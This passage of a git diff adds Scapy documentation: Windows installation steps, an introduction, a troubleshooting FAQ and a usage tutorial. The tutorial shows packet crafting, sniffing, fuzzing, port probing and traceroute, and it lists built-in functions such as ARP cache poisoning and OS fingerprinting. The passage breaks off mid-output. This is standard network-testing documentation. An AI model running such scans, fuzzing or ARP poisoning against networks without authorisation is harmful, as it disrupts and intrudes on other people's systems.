(``plot``) + + * `GnuPlot <http://www.gnuplot.info/>`_: `gp420win32.zip <http://downloads.sourceforge.net/gnuplot/gp420win32.zip>`_. Extract the zip file (e.g. to ``c:\gnuplot``) and add the ``gnuplot\bin`` directory to your PATH. + * `Numeric <http://numpy.scipy.org/>`_: `Numeric-24.2.win32-py2.5.exe <http://biopython.org/DIST/Numeric-24.2.win32-py2.5.exe>`_ . Gnuplot-py needs Numeric. + * `Gnuplot-py <http://gnuplot-py.sourceforge.net/>`_: `gnuplot-py-1.7.zip <http://mesh.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.7.zip>`_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install``. + +2D Graphics (``psdump``, ``pdfdump``) + + * `PyX <http://pyx.sourceforge.net/>`_: `PyX-0.10.tar.gz `PyX-0.10.tar.gz <http://mesh.dl.sourceforge.net/sourceforge/pyx/PyX-0.10.tar.gz>`_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install`` + * `MikTeX <http://miktex.org/>`_: `basic-miktex-2.6.2742.exe (52 MB) <http://prdownloads.sourceforge.net/miktex/basic-miktex-2.6.2742.exe?download>`_. PyX needs a LaTeX installation. Choose an installation directory WITHOUT spaces (e.g. ``C:\MikTex2.6`` and add the ``(INSTALLDIR)\miktex\bin`` subdirectory to your PATH. + +Graphs (conversations) + + * `Graphviz <http://www.graphviz.org/>`_: `graphviz-2.12.exe <http://www.graphviz.org/pub/graphviz/stable/windows/graphviz-2.12.exe>`_. Add ``(INSTALLDIR)\ATT\Graphviz\bin`` to your PATH. + +3D Graphics (trace3d) + + * `VPython <http://www.vpython.org/>`_: `VPython-Win-Py2.5-3.2.11.exe <http://www.vpython.org/download/VPython-Win-Py2.5-3.2.11.exe>`_ + +WEP decryption + + * `PyCrypto <http://www.dlitz.net/software/pycrypto/>`_: `pycrypto-2.0.1.win32-py2.5.zip <http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip>`_ + +Fingerprinting + + * `Nmap <http://nmap.org>`_. `nmap-4.20-setup.exe <http://download.insecure.org/nmap/dist/nmap-4.20-setup.exe>`_. If you use the default installation directory, Scapy-win should automatically find the fingerprints file. + * Queso: `queso-980922.tar.gz <http://www.packetstormsecurity.org/UNIX/scanners/queso-980922.tar.gz>`_. Extract the tar.gz file (e.g. using `7-Zip <http://www.7-zip.org/>`_) and put ``queso.conf`` into your Scapy directory + + +Screenshot +^^^^^^^^^^ + +.. image:: graphics/scapy-win-screenshot2.png + :scale: 80 + :align: center + +Known bugs +^^^^^^^^^^ + + * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the Wireshark wiki and in the WinPcap FAQ. Try switching off promiscuous mode with ``conf.sniff_promisc=False``. + * Packets cannot be sent to localhost (or local IP addresses on your own host). + * The ``voip_play()`` functions do not work because they output the sound via ``/dev/dsp`` which is not available on Windows. + + + + diff --git a/doc/scapy/introduction.rst b/doc/scapy/introduction.rst new file mode 100644 index 0000000000000000000000000000000000000000..7c4c66ccb94681b8739adc27f5ac091bbca3866f --- /dev/null +++ b/doc/scapy/introduction.rst @@ -0,0 +1,212 @@ +************ +Introduction +************ + +.. sectionauthor:: Philippe Biondi <phil at secdev.org> + +About Scapy +=========== +Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. + +In other words, Scapy is a powerful interactive packet manipulation program. +It is able to forge or decode packets of a wide number of protocols, +send them on the wire, capture them, match requests and replies, and +much more. Scapy can easily handle most classical tasks like scanning, +tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark). + +.. image:: graphics/testing-taxonomy.* + :scale: 50 + +Scapy also performs very well on a lot of other +specific tasks that most other tools can't handle, like sending invalid frames, +injecting your own 802.11 frames, combining techniques +(VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. + +The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. + +On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. + + +What makes Scapy so special +=========================== + +First, with most other networking tools, you won't build someting the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. + +Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. + +Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? + +Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all. + +In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. + +After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance. + +Fast packet design +------------------ + +Other tools stick to the **program-that-you-run-from-a-shell** paradigm. +The result is an awful syntax to describe a packet. For these tools, the +solution adopted uses a higher but less powerful description, in the form of +scenarios imagined by the tool's author. As an example, only the IP address must +be given to a port scanner to trigger the **port scanning** scenario. Even +if the scenario is tweaked a bit, you still are stuck to a port scan. + +Scapy's paradigm is to propose a Domain Specific Language (DSL) that +enables a powerful and fast description of any kind of packet. Using the Python +syntax and a Python interpreter as the DSL syntax and interpreter has many +advantages: there is no need to write a separate interpreter, users don't need +to learn yet another language and they benefit from a complete, concise +and very powerful language. + +Scapy enables the user to describe a packet or set of packets as layers that are +stacked one upon another. Fields of each layer have useful default values that +can be overloaded. Scapy does not oblige the user to use predetermined methods +or templates. This alleviates the requirement of writing a new tool each time a +different scenario is required. In C, it may take an average of 60 lines to +describe a packet. With Scapy, the packets to be sent may be described in only a +single line with another line to print the result. 90\% of the network probing +tools can be rewritten in 2 lines of Scapy. + +Probe once, interpret many +-------------------------- + +Network discovery is blackbox testing. When probing a network, many stimuli are +sent while only a few of them are answered. If the right stimuli are +chosen, the desired information may be obtained by the responses or the lack of +responses. Unlike many tools, Scapy gives all the information, i.e. all the +stimuli sent and all the responses received. Examination of this data will give +the user the desired information. When the dataset is small, the user can just +dig for it. In other cases, the interpretation of the data will depend on the +point of view taken. Most tools choose the viewpoint and discard all the data +not related to that point of view. Because Scapy gives the complete raw data, +that data may be used many times allowing the viewpoint to evolve during +analysis. For example, a TCP port scan may be probed and the data visualized as +the result of the port scan. The data could then also be visualized with respect +to the TTL of response packet. A new probe need not be initiated to adjust the +viewpoint of the data. + +.. image:: graphics/scapy-concept.* + :scale: 80 + +Scapy decodes, it does not interpret +------------------------------------ + +A common problem with network probing tools is they try to interpret the answers +received instead of only decoding and giving facts. Reporting something like +**Received a TCP Reset on port 80** is not subject to interpretation errors. +Reporting **Port 80 is closed** is an interpretation that may be right most +of the time but wrong in some specific contexts the tool's author did not +imagine. For instance, some scanners tend to report a filtered TCP port when +they receive an ICMP destination unreachable packet. This may be right, but in +some cases it means the packet was not filtered by the firewall but rather there +was no host to forward the packet to. + +Interpreting results can help users that don't know what a port scan is but +it can also make more harm than good, as it injects bias into the results. What +can tend to happen is that so that they can do the interpretation themselves, +knowledgeable users will try to reverse engineer the tool's interpretation to +derive the facts that triggered that interpretation. Unfortunately much +information is lost in this operation. + + + + +Quick demo +========== + +First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: + + # ./scapy.py -s mysession + New session [mysession] + Welcome to Scapy (0.9.17.108beta) + >>> IP() + <IP |> + >>> target="www.target.com" + >>> target="www.target.com/30" + >>> ip=IP(dst=target) + >>> ip + <IP dst=<Net www.target.com/30> |> + >>> [p for p in ip] + [<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>, + <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>] + >>> ^D + +:: + + # scapy -s mysession + Using session [mysession] + Welcome to Scapy (0.9.17.108beta) + >>> ip + <IP dst=<Net www.target.com/30> |> + +Now, let's manipulate some packets:: + + >>> IP() + <IP |> + >>> a=IP(dst="172.16.1.40") + >>> a + <IP dst=172.16.1.40 |> + >>> a.dst + '172.16.1.40' + >>> a.ttl + 64 + +Let's say I want a broadcast MAC address, and IP payload to ketchup.com +and to mayo.com, TTL value from 1 to 9, and an UDP payload:: + + >>> Ether(dst="ff:ff:ff:ff:ff:ff") + /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) + /UDP() + +We have 18 packets defined in 1 line (1 implicit packet) + +Sensible default values +----------------------- + +Scapy tries to use sensible default values for all packet fields. +If not overriden, + +* IP source is chosen according to destination and routing table +* Checksum is computed +* Source MAC is chosen according to the output interface +* Ethernet type and IP protocol are determined by the upper layer + +.. image:: graphics/default-values-ip.png + :scale: 60 + +Other fields’ default values are chosen to be the most useful ones: + +* TCP source port is 20, destination port is 80. +* UDP source and destination ports are 53. +* ICMP type is echo request. + + +Learning Python +=============== + +Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) + +If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial <http://docs.python.org/tutorial/>`_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python <http://diveintopython.org/>`_ is a very good start too. + +For a quick start, here's an overview of Python's data types: + +* ``int`` (signed, 32bits) : ``42`` +* ``long`` (signed, infinite): ``42L`` +* ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’`` + +* ``tuple`` (immutable): ``(1,4,"42")`` +* ``list`` (mutable): ``[4,2,"1"]`` +* ``dict` (mutable): ``{ "one":1 , "two":2 }`` + +There are no block delimiters in Python. Instead, indendation does matter:: + + if cond: + instr + instr + elif cond2: + instr + else: + instr + + diff --git a/doc/scapy/troubleshooting.rst b/doc/scapy/troubleshooting.rst new file mode 100644 index 0000000000000000000000000000000000000000..eaa71282030def1a6ebb70188efbac915e0ab64b --- /dev/null +++ b/doc/scapy/troubleshooting.rst @@ -0,0 +1,69 @@ +*************** +Troubleshooting +*************** + +FAQ +=== + +My TCP connections are reset by Scapy or by my kernel. +------------------------------------------------------ +The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. + +I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface +--------------------------------------------------------------------------------------- + +The loopback interface is a very special interface. Packets going through it are not really assembled and dissassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. + +In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems that Linux):: + + >>> conf.L3socket + <class __main__.L3PacketSocket at 0xb7bdf5fc> + >>> conf.L3socket=L3RawSocket + >>> sr1(IP(dst="127.0.0.1")/ICMP()) + <IP version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>> + +BPF filters do not work. I'm on a ppp link +------------------------------------------ + +This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). + +traceroute() does not work. I'm on a ppp link +--------------------------------------------- + +This is a known bug. See BPF filters do not work. I'm on a ppp link + +To work arround this, use ``nofilter=1``:: + + >>> traceroute("target", nofilter=1) + + +Graphs are ugly/fonts are too big/image is truncated. +----------------------------------------------------- + +Quick fix: use png format:: + + >>> x.graph(format="png") + +Upgrade to latest version of GraphViz. + +Try providing different DPI options (50,70,75,96,101,125, for instance):: + + >>> x.graph(options="-Gdpi=70") + +If it works, you can make it permanenent:: + + >>> conf.prog.dot = "dot -Gdpi=70" + +You can also put this line in your ``~/.scapy_startup.py`` file + + +Getting help +============ + +Common problems are answered in the FAQ. + +There's a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive <http://news.gmane.org/gmane.comp.security.scapy.general>`_, `RSS, NNTP <http://gmane.org/info.php?group=gmane.comp.security.scapy.general>`_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. + + + +To avoid spam, you must subscribe to the mailing list to post. \ No newline at end of file diff --git a/doc/scapy/usage.rst b/doc/scapy/usage.rst new file mode 100644 index 0000000000000000000000000000000000000000..50c749e0be0a2bc0286b71eb8db94395a2a4f4a8 --- /dev/null +++ b/doc/scapy/usage.rst @@ -0,0 +1,1045 @@ +***** +Usage +***** + +Starting Scapy +============== + +Scapy's interactive shell is run in a terminal session. Root privileges are needed to +send the packets, so we're using ``sudo`` here:: + + $ sudo scapy + Welcome to Scapy (2.0.0.10 beta) + >>> + +On Windows, please open a command prompt (``cmd.exe``) and make sure that you have +administrator privileges:: + + C:\scapy> python scapy.py + Welcome to Scapy (1.2.0.2-win) + >>> + +If you do not have all optional packages installed, Scapy will inform you that +some features will not be available:: + + INFO: Can't import python gnuplot wrapper . Won't be able to plot. + INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). + +The basic features of sending and receiving packets should still work, though. + + +Interactive tutorial +==================== + +This section will show you several of Scapy's features. +Just open a Scapy session as shown above and try the examples yourself. + + +First steps +----------- + +Let's build a packet and play with it:: + + >>> a=IP(ttl=10) + >>> a + < IP ttl=10 |> + >>> a.src + ’127.0.0.1’ + >>> a.dst="192.168.1.1" + >>> a + < IP ttl=10 dst=192.168.1.1 |> + >>> a.src + ’192.168.8.14’ + >>> del(a.ttl) + >>> a + < IP dst=192.168.1.1 |> + >>> a.ttl + 64 + +Stacking layers +--------------- + +The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. + +:: + + >>> IP() + <IP |> + >>> IP()/TCP() + <IP frag=0 proto=TCP |<TCP |>> + >>> Ether()/IP()/TCP() + <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>> + >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" + <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>> + >>> Ether()/IP()/IP()/UDP() + <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>> + >>> IP(proto=55)/TCP() + <IP frag=0 proto=55 |<TCP |>> + + +.. image:: graphics/fieldsmanagement.* + :scale: 90 + +Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result):: + + >>> str(IP()) + 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' + >>> IP(_) + <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP + chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |> + >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" + >>> hexdump(a) + 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. + 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# + FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. + 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index + 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . + 0A . + >>> b=str(a) + >>> b + '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 + \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 + \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' + >>> c=Ether(b) + >>> c + <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L + ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c + src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L + ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0 + options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> + +We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: + + >>> c.hide_defaults() + >>> c + <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67 + frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L + chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> + +Reading PCAP files +------------------ + +.. index:: + single: rdpcap() + +You can read packets from a pcap file and write them to a pcap file. + + >>> a=rdpcap("/spare/captures/isakmp.cap") + >>> a + <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0> + +Graphical dumps (PDF, PS) +------------------------- + +.. index:: + single: pdfdump(), psdump() + +If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: + + >>> a[423].pdfdump(layer_shift=1) + >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) + +.. image:: graphics/isakmp_dump.png + + + +======================= ==================================================== +Command Effect +======================= ==================================================== +str(pkt) assemble the packet +hexdump(pkt) have an hexadecimal dump +ls(pkt) have the list of fields values +pkt.summary() for a one-line summary +pkt.show() for a developped view of the packet +pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) +pkt.sprintf() fills a format string with fields values of the packet +pkt.decode_payload_as() changes the way the payload is decoded +pkt.psdump() draws a PostScript diagram with explained dissection +pkt.pdfdump() draws a PDF with explained dissection +pkt.command() return a Scapy command that can generate the packet +======================= ==================================================== + + + +Generating sets of packets +-------------------------- + +For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicidely define a set of packets, generated using a kind of cartesian product between all the fields. + +:: + + >>> a=IP(dst="www.slashdot.org/30") + >>> a + <IP dst= |> + >>> [p for p in a] + [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>, + <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>] + >>> b=IP(ttl=[1,2,(5,9)]) + >>> b + <IP ttl=[1, 2, (5, 9)] |> + >>> [p for p in b] + [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, + <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>] + >>> c=TCP(dport=[80,443]) + >>> [p for p in a/c] + [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>, + <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>, + <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>, + <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>, + <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>, + <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>, + <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>, + <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>] + +Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. + +=============== ==================================================== +Command Effect +=============== ==================================================== +summary() displays a list of summaries of each packet +nsummary() same as previous, with the packet number +conversations() displays a graph of conversations +show() displays the prefered representation (usually nsummary()) +filter() returns a packet list filtered with a lambda function +hexdump() returns a hexdump of all packets +hexraw() returns a hexdump of the Raw layer of all packets +padding() returns a hexdump of packets with padding +nzpadding() returns a hexdump of packets with non-zero padding +plot() plots a lambda function applied to the packet list +make table() displays a table according to a lambda function +=============== ==================================================== + + + +Sending packets +--------------- + +.. index:: + single: Sending packets, send + +Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. + +:: + + >>> send(IP(dst="1.2.3.4")/ICMP()) + . + Sent 1 packets. + >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") + .... + Sent 4 packets. + >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) + ................^C + Sent 16 packets. + >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay + ........... + Sent 11 packets. + + +Fuzzing +------- + +.. index:: + single: fuzz(), fuzzing + +The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:: + + >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) + ................^C + Sent 16 packets. + + +Send and receive packets (sr) +----------------------------- + +.. index:: + single: sr() + +Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). + +:: + + >>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") + Begin emission: + ...Finished to send 1 packets. + .* + Received 5 packets, got 1 answers, remaining 0 packets + >>> p + <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP + chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply + code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX' + |<Padding load='\x00\x00\x00\x00' |>>>> + >>> p.show() + ---[ IP ]--- + version = 4L + ihl = 5L + tos = 0x0 + len = 39 + id = 15489 + flags = + frag = 0L + ttl = 42 + proto = ICMP + chksum = 0x51dd + src = 66.35.250.151 + dst = 192.168.5.21 + options = '' + ---[ ICMP ]--- + type = echo-reply + code = 0 + chksum = 0xee45 + id = 0x0 + seq = 0x0 + ---[ Raw ]--- + load = 'XXXXXXXXXXX' + ---[ Padding ]--- + load = '\x00\x00\x00\x00' + + +.. index:: + single: DNS, Etherleak + +A DNS query (``rd`` = recursion desired). Note the non-null padding coming from my Linksys having the Etherleak flaw:: + + >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) + Begin emission: + Finished to send 1 packets. + ..* + Received 3 packets, got 1 answers, remaining 0 packets + <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38 + src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d + |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1 + nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> + an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |> + ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>> + +The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: + + >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) + Received 6 packets, got 3 answers, remaining 0 packets + (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) + >>> ans,unans=_ + >>> ans.summary() + IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding + IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding + IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding + +If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: + + >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) + Begin emission: + Finished to send 12 packets. + Begin emission: + Finished to send 9 packets. + Begin emission: + Finished to send 9 packets. + + Received 100 packets, got 3 answers, remaining 9 packets + (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>) + +TCP traceroute +-------------- + +.. index:: + single: Traceroute + +A TCP traceroute:: + + >>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) + *****.******.*.***..*.**Finished to send 22 packets. + ***...... + Received 33 packets, got 21 answers, remaining 1 packets + >>> for snd,rcv in ans: + ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) + ... + 5 194.51.159.65 0 + 6 194.51.159.49 0 + 4 194.250.107.181 0 + 7 193.251.126.34 0 + 8 193.251.126.154 0 + 9 193.251.241.89 0 + 10 193.251.241.110 0 + 11 193.251.241.173 0 + 13 208.172.251.165 0 + 12 193.251.241.173 0 + 14 208.172.251.165 0 + 15 206.24.226.99 0 + 16 206.24.238.34 0 + 17 173.109.66.90 0 + 18 173.109.88.218 0 + 19 173.29.39.101 1 + 20 173.29.39.101 1 + 21 173.29.39.101 1 + 22 173.29.39.101 1 + 23 173.29.39.101 1 + 24 173.29.39.101 1 + +Note that the TCP traceroute and some other high-level functions are already coded:: + + >>> lsc() + sr : Send and receive packets at layer 3 + sr1 : Send packets at layer 3 and return only the first answer + srp : Send and receive packets at layer 2 + srp1 : Send and receive packets at layer 2 and return only the first answer + srloop : Send a packet at layer 3 in loop and print the answer each time + srploop : Send a packet at layer 2 in loop and print the answer each time + sniff : Sniff packets + p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? + arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple + send : Send packets at layer 3 + sendp : Send packets at layer 2 + traceroute : Instant TCP traceroute + arping : Send ARP who-has requests to determine which hosts are up + ls : List available layers, or infos on a given layer + lsc : List user commands + queso : Queso OS fingerprinting + nmap_fp : nmap fingerprinting + report_ports : portscan a target and output a LaTeX table + dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" + dyndns_del : Send a DNS delete message to a nameserver for "name" + [...] + +Configuring super sockets +------------------------- + +.. index:: + single: super socket + +The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable:: + + >>> conf.L3socket=L3dnetSocket + >>> conf.L3listen=L3pcapListenSocket + +Sniffing +-------- + +.. index:: + single: sniff() + +We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:: + + >>> sniff(filter="icmp and host 66.35.250.151", count=2) + <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0> + >>> a=_ + >>> a.nsummary() + 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw + 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw + >>> a[1] + <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L + ihl=5L tos=0x0 